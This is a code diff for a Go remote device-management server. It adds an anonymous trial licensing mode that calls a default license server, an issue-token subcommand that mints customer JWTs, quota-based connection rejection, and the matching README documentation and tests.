 | `YAMA_USERS_FILE` | Path to the JSON file that persists non-admin web users (allowed_groups, password hash, salt). Default is `users.json` in the working directory. | `users.json` |
 | `YAMA_WEB_ALLOWED_ORIGINS` | Comma-separated WebSocket Origin allowlist for cross-origin upgrades. Empty (default) → only same-origin upgrades are accepted, which is correct when the web UI and `/ws` share a host. Add an entry per trusted PWA / dev origin. | `https://yama.example.com,https://yama-mobile.example.com` |
 | `YAMA_WEB_TRUST_PROXY` | Set to `1` only when running behind a reverse proxy you control (caddy / nginx / cloudflare). Switches client-IP extraction to use the last entry of `X-Forwarded-For` instead of `RemoteAddr`, so per-IP login rate limit sees the real client. Direct-exposure deployments MUST leave this unset — otherwise attackers can spoof the header to evade rate limits. | `1` |
@@ -182,15 +185,16 @@ $env:YAMA_PWD="your_super_password"
 
 ## 签名模式（CMD_MASTERSETTING signer）
 
-单个 Go 二进制按启动时的环境变量自动选择三种签名模式之一。同一个 master HMAC key 永远不会出现在客户机器上 —— 这是把 Go server 商业化部署给付费客户的核心安全前提。
+单个 Go 二进制按启动时的环境变量自动选择四种签名模式之一。同一个 master HMAC key 永远不会出现在客户机器上 —— 这是把 Go server 商业化部署给付费客户的核心安全前提。
 
 | 模式 | 触发条件 | 用途 |
 | ---- | -------- | ---- |
 | **LocalSigner** | `YAMA_SIGN_PASSWORD` 已设 | Operator 自己的部署。master HMAC key 在本机内存，签名直连 HMAC，微秒级延迟。**可选**：再设 `YAMA_LICENSE_PUBLIC_KEY` + `YAMA_LICENSE_HTTP_ADDR` 让本进程同时对外提供 License Server HTTP 服务。 |
-| **RemoteSigner** | `YAMA_LICENSE_SERVER` + `YAMA_LICENSE_TOKEN` 已设 | 客户部署。本机**永远看不到** master HMAC key —— 每次新设备登录会 HTTPS POST 到 operator 的 License Server，拿到签名后塞进 CMD_MASTERSETTING。同 (clientID, startTime) 元组的签名缓存 24h（可调，`YAMA_LICENSE_OFFLINE_HRS`），用于扛短暂网络故障。 |
+| **RemoteSigner (paid)** | `YAMA_LICENSE_TOKEN` 已设（`YAMA_LICENSE_SERVER` 可选，未设则用 `DefaultLicenseServerURL`） | 付费客户部署。本机**永远看不到** master HMAC key —— 每次新设备登录会 HTTPS POST 到 operator 的 License Server，带 Bearer JWT 鉴权，拿到签名后塞进 CMD_MASTERSETTING。同 (clientID, startTime) 元组的签名缓存 24h（可调，`YAMA_LICENSE_OFFLINE_HRS`），用于扛短暂网络故障。 |
-| **NoOpSigner** | 上述都没设 | Free tier。返回空签名 → 客户端私有库拒绝启动 screen/file 功能。设备列表仍然可用。 |
+| **RemoteSigner (trial)** | `YAMA_LICENSE_TOKEN` 未设、且未显式 `YAMA_LICENSE_DISABLED=1` | 匿名试用模式。没有 JWT，连默认 License Server URL；服务端按下级出口 IP 识别身份，配额 `FreeMaxDevices` (2 台)，且匿名 `/license/sign` 受 IP 限流（10 req/min）。零配置直接跑就在这个模式。 |
+| **NoOpSigner** | `YAMA_LICENSE_DISABLED=1` | 显式离线/开发模式。不连任何 License Server，返回空签名 → 客户端私有库拒绝启动 screen/file 功能。设备列表仍然可用。 |
 
-注：`YAMA_SIGN_PASSWORD` 与 `YAMA_LICENSE_SERVER` 同时设置时 LocalSigner 优先（operator 自己的 server 不应该回连自己）。
+注：`YAMA_SIGN_PASSWORD` 与 `YAMA_LICENSE_*` 同时设置时 LocalSigner 优先（operator 自己的 server 不应该回连自己）。
 
 ### License Server endpoints（仅 LocalSigner 暴露）
 
@@ -203,22 +207,41 @@ $env:YAMA_PWD="your_super_password"
 
 ### 颁发客户 JWT
 
+**第一步：一次性生成 RSA 密钥对**（只在授权中心执行一次，私钥永久保管）
+
 ```bash
-# 一次性生成 RSA 密钥对（私钥 operator 自己保管，公钥用于 License Server 验证）
 openssl genrsa -out license_priv.pem 2048
 openssl rsa -in license_priv.pem -pubout -out license_pub.pem
 ```
 
-底层 API 是 `licensing.Issue(privKey, sub, tier, maxDevices, ttl)`（见 [`licensing/server.go`](licensing/server.go)）。一个开箱即用的 CLI 包装在独立仓库 [`yama-issue-token`](https://git.simpleremoter.com/yuanyuanxiang/yama-issue-token)（go.mod `replace` 指向本仓库的 `licensing` 包），用法：
+- `license_priv.pem` — 私钥，设为 `YAMA_LICENSE_PRIVATE_KEY`，仅存于授权中心，**绝不外发**
+- `license_pub.pem` — 公钥，设为 `YAMA_LICENSE_PUBLIC_KEY`，授权中心 License Server 用于验证客户 JWT
+
+**第二步：颁发 JWT**
+
+`server` 二进制内置 `issue-token` 子命令。授权中心已配置 `YAMA_LICENSE_PRIVATE_KEY` 时，只需要提供客户标识：
 
 ```bash
-yama-issue-token -priv license_priv.pem -sub acme-corp -tier paid -max 100 -days 365
+# 最简调用（私钥路径从 $YAMA_LICENSE_PRIVATE_KEY 读取）
+server issue-token -sub customer-acme
+
+# 完整参数
+server issue-token \
+  -sub     customer-acme \   # 客户唯一标识（必填）
+  -tier    paid \            # paid 或 trial（默认 paid）
+  -devices 20 \              # 最大并发设备数（默认 10）
+  -ttl     8760h             # 有效期（默认 8760h = 1 年）
 ```
 
-| Tier | max_devices 默认 | 备注 |
+命令将 JWT 字符串输出到 stdout，将其作为 `YAMA_LICENSE_TOKEN` 交给客户。
-| ---- | ---------------- | ---- |
+
-| `trial` | 20（JWT 未指定时） | 移植 C++ 反代理 RTT 逻辑 |
+| 参数 | 默认值 | 说明 |
-| `paid` | JWT 必须显式指定 | 长 TTL token |
+| ---- | ------ | ---- |
+| `-key` | `$YAMA_LICENSE_PRIVATE_KEY` | RSA 私钥 PEM 路径；env 已设则无需重复指定 |
+| `-sub` | （必填） | 客户唯一标识，建议用 `company-id` 格式 |
+| `-tier` | `paid` | `paid` 或 `trial` |
+| `-devices` | `10` | 并发设备上限；`paid` 必须显式设置合理值 |
+| `-ttl` | `8760h` | Token 有效期，支持 Go duration 语法（`h`/`m`/`s`） |
 
 ## 使用示例
 
@@ -496,6 +519,85 @@ publicIP := info.GetReservedField(11)   // 公网 IP
 - [gopkg.in/natefinch/lumberjack.v2](https://github.com/natefinch/lumberjack) - 日志轮转
 - [golang.org/x/text](https://pkg.go.dev/golang.org/x/text) - GBK 编码转换
 
+## 配置和启动参数
+
+### 启动参数说明
+
+- `-p` / `--port`：受管设备 TCP 监听端口（默认 6543，可分号分隔多端口，如 `6543;6544;6545`）
+- `--http-port`：Web 管理 HTTP 端口（默认 8080，设为 0 则禁用 Web 管理）
+- `--no-console`：守护进程模式，不输出到控制台（日志仍写入 `logs/server.log`）
+
+### （1）授权中心（由我运行）
+
+**模式判定**：设置了 `YAMA_SIGN_PASSWORD`，本进程以 LocalSigner 持有主 HMAC 密钥；可选地开启 
+License Server HTTP（`YAMA_LICENSE_PUBLIC_KEY` + `YAMA_LICENSE_HTTP_ADDR`），向下级服务签发带 24h 缓存的授权。
+
+```bash
+export YAMA_PWD="授权码 HMAC 校验密钥（TCP 端 passcode 签名验证）"
+export YAMA_WEB_ADMIN_PASS="Web 端登录密码"
+export YAMA_SIGN_PASSWORD="主控签名 HMAC 主密钥（受管设备验证服务端身份）"
+export YAMA_WEB_TRUST_PROXY=1
+export YAMA_WEB_ALLOWED_ORIGINS="https://web.just-do-it.icu:8080"
+export YAMA_LICENSE_PRIVATE_KEY="/opt/yama/license_priv.pem"
+export YAMA_LICENSE_PUBLIC_KEY="/opt/yama/license_pub.pem"
+export YAMA_LICENSE_HTTP_ADDR="127.0.0.1:8443"
+
+nohup ./server_linux_amd64 -p 8000 --http-port=9001 --no-console &
+```
+
+由前端代理将公网流量（受管设备 8000、Web 9001、License Server 8443）转发到本进程。受管设备通过 8000 端口直连服务端；
+下级服务（运行 RemoteSigner）通过代理对外暴露的 `YAMA_LICENSE_SERVER` 公网 URL 取授权签名，代理后端转发到本进程
+绑定的 `YAMA_LICENSE_HTTP_ADDR (127.0.0.1:8443)`。
+
+可选环境变量：
+
+- `YAMA_PWDHASH`：TCP 授权码的 SHA256 哈希（未设置则使用代码内置默认值，启动 banner 会有警告）
+- `YAMA_USERS_FILE`：额外 Web 用户列表 JSON 路径（默认 `users.json`）
+
+### （2）下级服务（运营商部署）
+
+下级二进制把"小白用户开箱即用"作为目标——**理想情况下，什么都不配，直接 `./server_linux_amd64` 就能跑起来**。
+启动后默认行为：
+
+- License Server：默认连到 `https://web.just-do-it.icu:8080`（DefaultLicenseServerURL）
+- 模式：无 `YAMA_LICENSE_TOKEN` → 进入**试用模式**（TRIAL），授权中心按下级出口 IP 识别身份，最多 **2 台**
+  受管设备（FreeMaxDevices）
+- Web 管理：无 `YAMA_WEB_ADMIN_PASS` → 使用默认账号 `admin/admin`，启动日志会大字警告
+- 监听端口：受管设备 TCP 6543、Web 8080
+
+#### 最简启动（零配置试用，2 台设备上限）
+
+```bash
+nohup ./server_linux_amd64 --no-console &
+```
+
+启动日志会显示：
+
+```
+WARN  ⚠ YAMA_WEB_ADMIN_PASS / YAMA_PWD 均未设置，Web 管理使用默认密码 admin/admin — 生产环境务必覆盖
+INFO  Signer mode: TRIAL  (anonymous试用模式, license server=https://web.just-do-it.icu:8080,
+      最多 2 台受管设备; 设置 YAMA_LICENSE_TOKEN 解锁付费配额)
+```
+
+#### 推荐生产配置（覆盖默认密码 + 付费 token）
+
+```bash
+export YAMA_WEB_ADMIN_PASS="自定义 Web 登录密码"
+export YAMA_LICENSE_TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M..."   # 向授权中心申请
+
+nohup ./server_linux_amd64 -p 6543 --http-port=8080 --no-console &
+```
+
+设置 `YAMA_LICENSE_TOKEN` 后切换为 REMOTE 模式（付费），配额由 JWT 的 `max_devices` 决定。
+如果同时改 `YAMA_LICENSE_SERVER` 可以接到自部署的授权中心，否则继续走默认 URL。
+
+#### 其他可选
+
+- `YAMA_LICENSE_DISABLED=1`：完全禁用 License Server 通信（离线 / 内网测试），客户端会拒绝屏幕/文件功能但设备列表仍能用
+- `YAMA_LICENSE_OFFLINE_HRS=24`：本地签名缓存的 TTL，默认 24h
+- 受管设备的 `client.exe` 由 Windows 主控端生成（已绑定服务端地址和公钥），下级运营商把它分发给终端用户。
+  client 通过 6543 端口连接到本服务端；用户通过 8080 端口登录 Web 管理页面。
+
 ## License
 
 MIT License

server/go/cmd/main.go

@@ -415,9 +415,29 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
 		resolution = info.GetReservedField(protocol.ResFieldResolution)
 	}
 
-	// Register with hub so the web side can list this device. Sub-connections
+	// Sign BEFORE registering in the hub so a quota-rejected device never
-	// (screen / terminal etc.) reuse the MasterID and will overwrite this entry
+	// appears in the web device list, even briefly. If signing fails we still
-	// harmlessly, but only the main login carries enough info to be useful here.
+	// send CMD_MASTERSETTING (zeroed signature, wire protocol stays clean) and
+	// then close the connection — no hub registration happens at all.
+	sigErr := h.sendMasterSetting(ctx, info.StartTime, clientID)
+	if sigErr != nil {
+		// Any sign error means no valid signature was issued — close without
+		// registering. Covers: quota exceeded (403), anonymous IP rate limit
+		// (429), and transient errors on a brand-new device with no cache.
+		// Existing devices reconnecting hit the fresh-cache path in Sign() and
+		// return ("sig", nil), so they are never rejected here.
+		h.log.Warn("sign failed for clientID=%s (%v) — closing connection", clientID, sigErr)
+		go func() {
+			time.Sleep(50 * time.Millisecond) // let CMD_MASTERSETTING flush
+			ctx.Close()
+		}()
+		return
+	}
+
+	// Signing succeeded: register with hub so the web side can list this
+	// device. Sub-connections (screen / terminal etc.) reuse the MasterID and
+	// will overwrite this entry harmlessly, but only the main login carries
+	// enough info to be useful here.
 	h.hub.Register(&hub.Device{
 		ID:          clientID,
 		Name:        name,
@@ -434,11 +454,6 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
 		PublicIP:    clientInfo.IP,
 		ConnectedAt: time.Now(),
 	}, ctx)
-
-	// Push CMD_MASTERSETTING with a signature over "StartTime|ClientID".
-	// The client's private FileUpload init verifies this before allowing
-	// screen / file operations — without it the binary aborts itself.
-	h.sendMasterSetting(ctx, info.StartTime, clientID)
 }
 
 // sendMasterSetting builds the 1001-byte CMD_MASTERSETTING reply and ships it
@@ -448,10 +463,10 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
 //   - RemoteSigner: HTTPS POST to operator's License Server (customer deployment)
 //   - NoOpSigner: returns empty signature (free tier; client refuses screen/file ops)
 //
-// On signer error (License Server unreachable + no cache hit), we still ship
+// Returns the signer error (not the send error) so callers can distinguish
-// a zeroed signature so the packet is well-formed; the client will retry on
+// quota-exceeded rejections from transient failures and act accordingly.
-// next reconnect.
+// The packet is always sent — even on error — so the wire protocol stays clean.
-func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, clientID string) {
+func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, clientID string) error {
 	buf := make([]byte, 1+protocol.MasterSettingsSize)
 	buf[0] = protocol.CmdMasterSetting
 
@@ -462,10 +477,10 @@ func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, client
 		buf[1:5],
 		uint32(protocol.DefaultReportIntervalSec))
 
-	sig, err := h.signer.Sign(startTime, clientID)
+	sig, sigErr := h.signer.Sign(startTime, clientID)
-	if err != nil {
+	if sigErr != nil {
 		h.log.Error("signer (%s) failed for clientID=%s: %v — sending zeroed signature",
-			h.signer.Mode(), clientID, err)
+			h.signer.Mode(), clientID, sigErr)
 	} else if sig == "" {
 		// NoOpSigner path, or LocalSigner with empty master key — same effect.
 		// Log only once per process via the startup banner; don't spam here.
@@ -477,6 +492,7 @@ func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, client
 	if err := h.srv.Send(ctx, buf); err != nil {
 		h.log.Error("CMD_MASTERSETTING send failed for conn=%d: %v", ctx.ID, err)
 	}
+	return sigErr
 }
 
 // handleAuth handles authorization request (TOKEN_AUTH = 100)
@@ -645,7 +661,72 @@ func splitCSV(s string) []string {
 	return out
 }
 
+// runIssueToken handles the "issue-token" subcommand. It mints a customer JWT
+// signed with the operator's RSA private key and prints it to stdout.
+//
+// The private key path defaults to $YAMA_LICENSE_PRIVATE_KEY so that on the
+// authorization server — where env vars are already configured — only the
+// per-customer fields need to be specified:
+//
+//	server issue-token -sub customer-acme [-tier paid|trial] [-devices 10] [-ttl 8760h]
+//
+// If neither -key nor $YAMA_LICENSE_PRIVATE_KEY is set, the command exits
+// with a clear error rather than silently using a wrong default.
+func runIssueToken(args []string) {
+	fs := flag.NewFlagSet("issue-token", flag.ExitOnError)
+	// Default from env so the operator doesn't need to retype the path.
+	keyPath := fs.String("key", os.Getenv(licensing.EnvLicensePrivKeyPath),
+		"Path to RSA private key PEM (PKCS#1 or PKCS#8); default: $"+licensing.EnvLicensePrivKeyPath)
+	sub := fs.String("sub", "", "Customer identifier — unique string, e.g. \"customer-acme\" (required)")
+	tier := fs.String("tier", licensing.TierPaid, "License tier: \"paid\" or \"trial\"")
+	devices := fs.Int("devices", 10, "Max concurrent managed devices")
+	ttl := fs.Duration("ttl", 365*24*time.Hour, "Token validity period, e.g. 8760h (1 year)")
+	fs.Usage = func() {
+		fmt.Fprintf(os.Stderr, "Usage: %s issue-token [flags]\n\nFlags:\n", os.Args[0])
+		fs.PrintDefaults()
+		fmt.Fprintf(os.Stderr, "\nExample:\n  %s issue-token -sub customer-acme -tier paid -devices 20 -ttl 8760h\n", os.Args[0])
+	}
+	_ = fs.Parse(args)
+
+	var errs []string
+	if *keyPath == "" {
+		errs = append(errs, fmt.Sprintf("-key or $%s is required", licensing.EnvLicensePrivKeyPath))
+	}
+	if *sub == "" {
+		errs = append(errs, "-sub is required")
+	}
+	if len(errs) > 0 {
+		for _, e := range errs {
+			fmt.Fprintln(os.Stderr, "error:", e)
+		}
+		fmt.Fprintln(os.Stderr)
+		fs.Usage()
+		os.Exit(1)
+	}
+
+	privKey, err := licensing.LoadRSAPrivateKey(*keyPath)
+	if err != nil {
+		fmt.Fprintf(os.Stderr, "error loading private key: %v\n", err)
+		os.Exit(1)
+	}
+
+	token, err := licensing.Issue(privKey, *sub, *tier, *devices, *ttl)
+	if err != nil {
+		fmt.Fprintf(os.Stderr, "error issuing token: %v\n", err)
+		os.Exit(1)
+	}
+
+	fmt.Println(token)
+}
+
 func main() {
+	// Subcommand dispatch: "server issue-token ..." runs the token-minting
+	// helper and exits without starting the server.
+	if len(os.Args) > 1 && os.Args[1] == "issue-token" {
+		runIssueToken(os.Args[2:])
+		return
+	}
+
 	// Parse command line flags
 	portStr := flag.String("port", "6543", "Server listen ports (semicolon-separated, e.g. 6543;6544;6545)")
 	flag.StringVar(portStr, "p", "6543", "Server listen ports (shorthand)")
@@ -702,11 +783,11 @@ func main() {
 	// Build the CMD_MASTERSETTING signer based on env vars:
 	//   - YAMA_SIGN_PASSWORD set            → LocalSigner   (operator's own deployment;
 	//                                                       HMAC master key lives here)
-	//   - YAMA_LICENSE_SERVER + YAMA_LICENSE_TOKEN set → RemoteSigner
+	//   - YAMA_LICENSE_DISABLED=1           → NoOpSigner    (explicit opt-out; dev / offline)
-	//     (customer deployment; never sees the master key, fetches signatures
+	//   - YAMA_LICENSE_TOKEN set            → RemoteSigner  (paid customer; talks to
-	//     from operator's License Server with 24h cache)
+	//                                                       operator's License Server with JWT)
-	//   - neither → NoOpSigner (free tier; client refuses screen/file ops
+	//   - neither of the above              → RemoteSigner  (anonymous trial; default
-	//     but device list still works)
+	//                                                       URL, no JWT, cap FreeMaxDevices)
 	signer, mode, err := licensing.NewFromEnv(log)
 	if err != nil {
 		log.Fatal("Failed to initialize signer: %v", err)
@@ -718,10 +799,21 @@ func main() {
 	case licensing.ModeLocal:
 		log.Info("Signer mode: LOCAL (operator deployment, master key held in-process)")
 	case licensing.ModeRemote:
-		log.Info("Signer mode: REMOTE (customer deployment, %s=%s)",
+		licServer := os.Getenv(licensing.EnvLicenseServer)
-			licensing.EnvLicenseServer, os.Getenv(licensing.EnvLicenseServer))
+		if licServer == "" {
+			licServer = licensing.DefaultLicenseServerURL
+		}
+		log.Info("Signer mode: REMOTE (paid customer, license server=%s)", licServer)
+	case licensing.ModeTrial:
+		licServer := os.Getenv(licensing.EnvLicenseServer)
+		if licServer == "" {
+			licServer = licensing.DefaultLicenseServerURL
+		}
+		log.Info("Signer mode: TRIAL  (anonymous试用模式, license server=%s, 最多 %d 台受管设备; 设置 %s 解锁付费配额)",
+			licServer, licensing.FreeMaxDevices, licensing.EnvLicenseToken)
 	case licensing.ModeNoOp:
-		log.Warn("Signer mode: NOOP (no licensing configured; screen/file features disabled on clients)")
+		log.Warn("Signer mode: NOOP (licensing disabled via %s=1; client refuses screen/file features)",
+			licensing.EnvLicenseDisabled)
 	}
 
 	// If the operator also wants this LocalSigner deployment to serve as
@@ -749,6 +841,10 @@ func main() {
 		adminPass = defaultWebAdminPass
 		rememberDefault("YAMA_WEB_ADMIN_PASS", defaultWebAdminPass)
 		usingDefaultWebPass = true
+		// Loud warn (in addition to the startup banner): the binary is now
+		// accepting admin/admin on the public web UI. Anyone running this
+		// without overriding the env var in prod needs to see it in red.
+		log.Warn("⚠ YAMA_WEB_ADMIN_PASS / YAMA_PWD 均未设置，Web 管理使用默认密码 admin/admin — 生产环境务必覆盖")
 	}
 	webAuth.AddAdminFromPlainPassword("admin", adminPass)
 	log.Info("Web admin user configured")

server/go/go.mod

@@ -7,6 +7,7 @@ require (
 	github.com/gorilla/websocket v1.5.3
 	github.com/klauspost/compress v1.18.2
 	github.com/rs/zerolog v1.34.0
+	golang.org/x/sync v0.20.0
 	golang.org/x/text v0.32.0
 	gopkg.in/natefinch/lumberjack.v2 v2.2.1
 )
@@ -14,6 +15,5 @@ require (
 require (
 	github.com/mattn/go-colorable v0.1.13 // indirect
 	github.com/mattn/go-isatty v0.0.19 // indirect
-	golang.org/x/sync v0.20.0 // indirect
 	golang.org/x/sys v0.12.0 // indirect
 )

server/go/licensing/factory.go

@@ -13,11 +13,20 @@ const (
 	EnvSignPassword       = "YAMA_SIGN_PASSWORD"        // LocalSigner master HMAC key
 	EnvLicenseServer      = "YAMA_LICENSE_SERVER"       // RemoteSigner: License Server base URL
 	EnvLicenseToken       = "YAMA_LICENSE_TOKEN"        // RemoteSigner: customer JWT
+	EnvLicensePrivKeyPath = "YAMA_LICENSE_PRIVATE_KEY"  // issue-token: RSA private key PEM path (paired with public key)
 	EnvLicensePubKeyPath  = "YAMA_LICENSE_PUBLIC_KEY"   // LocalSigner-as-LS: RSA public key PEM path
 	EnvLicenseHTTPAddr    = "YAMA_LICENSE_HTTP_ADDR"    // LocalSigner-as-LS: listen address, e.g. ":8443"
+	EnvLicenseStatePath   = "YAMA_LICENSE_STATE_PATH"   // LocalSigner-as-LS: quota state persistence file path
 	EnvLicenseOfflineHrs  = "YAMA_LICENSE_OFFLINE_HRS"  // RemoteSigner: cache TTL hours (default 24)
+	EnvLicenseDisabled    = "YAMA_LICENSE_DISABLED"     // set to 1 to force NoOpSigner (offline / dev)
 )
 
+// DefaultLicenseServerURL is the publicly-hosted License Server new downstream
+// deployments hit when YAMA_LICENSE_SERVER is unset. "Zero config" trial mode
+// uses this URL with no Bearer token — the License Server treats it as an
+// anonymous trial (cap FreeMaxDevices, identified by source IP).
+const DefaultLicenseServerURL = "https://web.just-do-it.icu:8080"
+
 // DefaultOfflineGrace mirrors the "24 hours" decision recorded in the
 // project memory's licensing design.
 const DefaultOfflineGrace = 24 * time.Hour
@@ -28,6 +37,7 @@ type Mode int
 const (
 	ModeLocal Mode = iota
 	ModeRemote
+	ModeTrial // RemoteSigner against License Server, but with no Bearer (anonymous trial)
 	ModeNoOp
 )
 
@@ -37,6 +47,8 @@ func (m Mode) String() string {
 		return "local"
 	case ModeRemote:
 		return "remote"
+	case ModeTrial:
+		return "trial"
 	default:
 		return "noop"
 	}
@@ -48,16 +60,25 @@ func SelectedMode() Mode {
 	if os.Getenv(EnvSignPassword) != "" {
 		return ModeLocal
 	}
-	if os.Getenv(EnvLicenseServer) != "" && os.Getenv(EnvLicenseToken) != "" {
+	if strings.TrimSpace(os.Getenv(EnvLicenseDisabled)) == "1" {
+		return ModeNoOp
+	}
+	if os.Getenv(EnvLicenseToken) != "" {
 		return ModeRemote
 	}
-	return ModeNoOp
+	return ModeTrial
 }
 
-// NewFromEnv builds the Signer chosen by env vars:
+// NewFromEnv builds the Signer chosen by env vars. Decision tree (top-down,
-//   - YAMA_SIGN_PASSWORD set → LocalSigner
+// first match wins):
-//   - YAMA_LICENSE_SERVER + YAMA_LICENSE_TOKEN set → RemoteSigner
+//
-//   - neither → NoOpSigner
+//   - YAMA_SIGN_PASSWORD set                → LocalSigner (operator deployment)
+//   - YAMA_LICENSE_DISABLED=1               → NoOpSigner  (explicit opt-out)
+//   - YAMA_LICENSE_TOKEN set                → RemoteSigner / paid (server URL
+//                                             defaults to DefaultLicenseServerURL
+//                                             if YAMA_LICENSE_SERVER is unset)
+//   - neither of the above                  → RemoteSigner / trial (anonymous,
+//                                             cap = FreeMaxDevices, default URL)
 //
 // If both LocalSigner and RemoteSigner vars are set, LocalSigner wins
 // (an operator's own server should never accidentally call out to itself).
@@ -82,10 +103,23 @@ func NewFromEnv(lg Logger) (Signer, Mode, error) {
 		return s, ModeLocal, nil
 	}
 
-	if server != "" && token != "" {
+	// Explicit opt-out: operator wants the binary to run with no licensing
+	// at all (dev, offline test, air-gapped). Screen/file features stay off
+	// on the client, device list still works.
+	if strings.TrimSpace(os.Getenv(EnvLicenseDisabled)) == "1" {
+		return NewNoOp(), ModeNoOp, nil
+	}
+
+	// From here on we're going to talk to a License Server. Determine the
+	// URL (env var wins over baked-in default) and the mode (paid if token
+	// is set, anonymous trial if not).
+	if server == "" {
+		server = DefaultLicenseServerURL
+	}
 	if err := ValidateRemoteURL(server); err != nil {
 		return nil, ModeNoOp, fmt.Errorf("%s rejected: %w", EnvLicenseServer, err)
 	}
+
 	grace := DefaultOfflineGrace
 	if hrs := os.Getenv(EnvLicenseOfflineHrs); hrs != "" {
 		n, err := strconv.Atoi(strings.TrimSpace(hrs))
@@ -99,19 +133,13 @@ func NewFromEnv(lg Logger) (Signer, Mode, error) {
 		}
 		grace = time.Duration(n) * time.Hour
 	}
+
+	if token != "" {
 		return NewRemote(server, token, grace, lg), ModeRemote, nil
 	}
-
+	// Anonymous trial: no Bearer token. License Server identifies by IP and
-	if server != "" || token != "" {
+	// caps at FreeMaxDevices.
-		// Partial config is almost certainly a misconfiguration — fail loudly
+	return NewRemote(server, "", grace, lg), ModeTrial, nil
-		// rather than silently degrading to NoOp.
-		return nil, ModeNoOp, fmt.Errorf(
-			"%s and %s must be set together (got %s=%q %s=%q)",
-			EnvLicenseServer, EnvLicenseToken,
-			EnvLicenseServer, server, EnvLicenseToken, token)
-	}
-
-	return NewNoOp(), ModeNoOp, nil
 }
 
 // LicenseServerFromEnv builds the License Server HTTP handler if (and only
@@ -150,5 +178,15 @@ func LicenseServerFromEnv(signer Signer, lg Logger) (*LicenseServer, string, err
 
 	// 5-minute eviction window — twice a typical heartbeat interval. Matches
 	// the discussion in quota.go.
-	return NewLicenseServer(local, pubKey, 5*time.Minute, lg), addr, nil
+	ls := NewLicenseServer(local, pubKey, 5*time.Minute, lg, os.Getenv(EnvLicenseStatePath))
+
+	// Reuse the web's trust-proxy env var: standard deployment puts both
+	// /ws and /license/ behind the same nginx, so the answer is always the
+	// same. Honoring it here lets the anonymous-trial per-IP rate limit see
+	// the real client IP instead of 127.0.0.1.
+	if strings.TrimSpace(os.Getenv("YAMA_WEB_TRUST_PROXY")) == "1" {
+		ls.SetTrustProxy(true)
+	}
+
+	return ls, addr, nil
 }

server/go/licensing/licensing_test.go

@@ -138,7 +138,7 @@ func TestLocalSignerDeterministic(t *testing.T) {
 func TestRemoteSignerCacheHit(t *testing.T) {
 	priv := testKey(t)
 	master := mustLocal(t, "real-hmac-key-for-test-xx")
-	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
 	ts := httptest.NewServer(ls.Handler())
 	defer ts.Close()
 
@@ -180,7 +180,7 @@ func TestRemoteSignerCacheHit(t *testing.T) {
 func TestRemoteSignerStaleFallback(t *testing.T) {
 	priv := testKey(t)
 	master := mustLocal(t, "master-fallback-test-xxx")
-	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
 	ts := httptest.NewServer(ls.Handler())
 
 	tok, err := Issue(priv, "cust-fallback", TierPaid, 5, time.Hour)
@@ -214,7 +214,7 @@ func TestRemoteSignerStaleFallback(t *testing.T) {
 func TestQuotaEnforcement(t *testing.T) {
 	priv := testKey(t)
 	master := mustLocal(t, "master-quota-test-xxxxxx")
-	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
 	ts := httptest.NewServer(ls.Handler())
 	defer ts.Close()
 
@@ -253,23 +253,102 @@ func TestQuotaEnforcement(t *testing.T) {
 	}
 }
 
-// TestAuthRejectsMissingBearer: no token → 401, not 200 / not 500. Belt
+// TestAnonymousTrialSignsAndCaps: no Authorization header → anonymous trial
-// and braces — the auth check sits in front of /sign and /heartbeat.
+// branch. /sign returns 200 with a real signature up to FreeMaxDevices, then
-func TestAuthRejectsMissingBearer(t *testing.T) {
+// 403 once the per-IP cap is reached. Replaces the older "missing bearer →
+// 401" test now that anonymous trial is a first-class mode.
+func TestAnonymousTrialSignsAndCaps(t *testing.T) {
 	priv := testKey(t)
-	master := mustLocal(t, "master-auth-test-xxxxxxx")
+	master := mustLocal(t, "master-trial-test-xxxxxx")
-	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
 	ts := httptest.NewServer(ls.Handler())
 	defer ts.Close()
 
-	body := strings.NewReader(`{"client_id":"x","start_time":"y"}`)
+	call := func(clientID string) (int, string) {
+		body := strings.NewReader(fmt.Sprintf(
+			`{"client_id":%q,"start_time":"2026-01-01T00:00:00Z"}`, clientID))
 		resp, err := http.Post(ts.URL+"/license/sign", "application/json", body)
 		if err != nil {
 			t.Fatalf("Post: %v", err)
 		}
 		defer resp.Body.Close()
+		var sr signResponse
+		_ = json.NewDecoder(resp.Body).Decode(&sr)
+		if sr.Signature != "" {
+			return resp.StatusCode, sr.Signature
+		}
+		return resp.StatusCode, sr.Error
+	}
+
+	// First FreeMaxDevices distinct clientIDs get real signatures.
+	for i := range FreeMaxDevices {
+		code, sig := call(fmt.Sprintf("trial-dev-%d", i))
+		if code != http.StatusOK {
+			t.Errorf("dev-%d expected 200, got %d (%q)", i, code, sig)
+		}
+		if sig == "" {
+			t.Errorf("dev-%d signature unexpectedly empty", i)
+		}
+	}
+	// Cap+1 → 403 quota exceeded.
+	code, msg := call("trial-dev-overflow")
+	if code != http.StatusForbidden {
+		t.Errorf("overflow expected 403, got %d (%q)", code, msg)
+	}
+}
+
+// TestAnonymousTrialIPRateLimit: anonymous /sign is capped at
+// anonRatePerWindow requests per minute per source IP. Hitting the cap
+// returns 429 with Retry-After.
+func TestAnonymousTrialIPRateLimit(t *testing.T) {
+	priv := testKey(t)
+	master := mustLocal(t, "master-rate-test-xxxxxxx")
+	ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
+	ts := httptest.NewServer(ls.Handler())
+	defer ts.Close()
+
+	// Reuse the same clientID so quota does NOT also reject — we want to
+	// isolate the rate limiter. quotaTracker.Reserve treats a repeat clientID
+	// as a refresh (always accepted), so all the 200s here are the same slot.
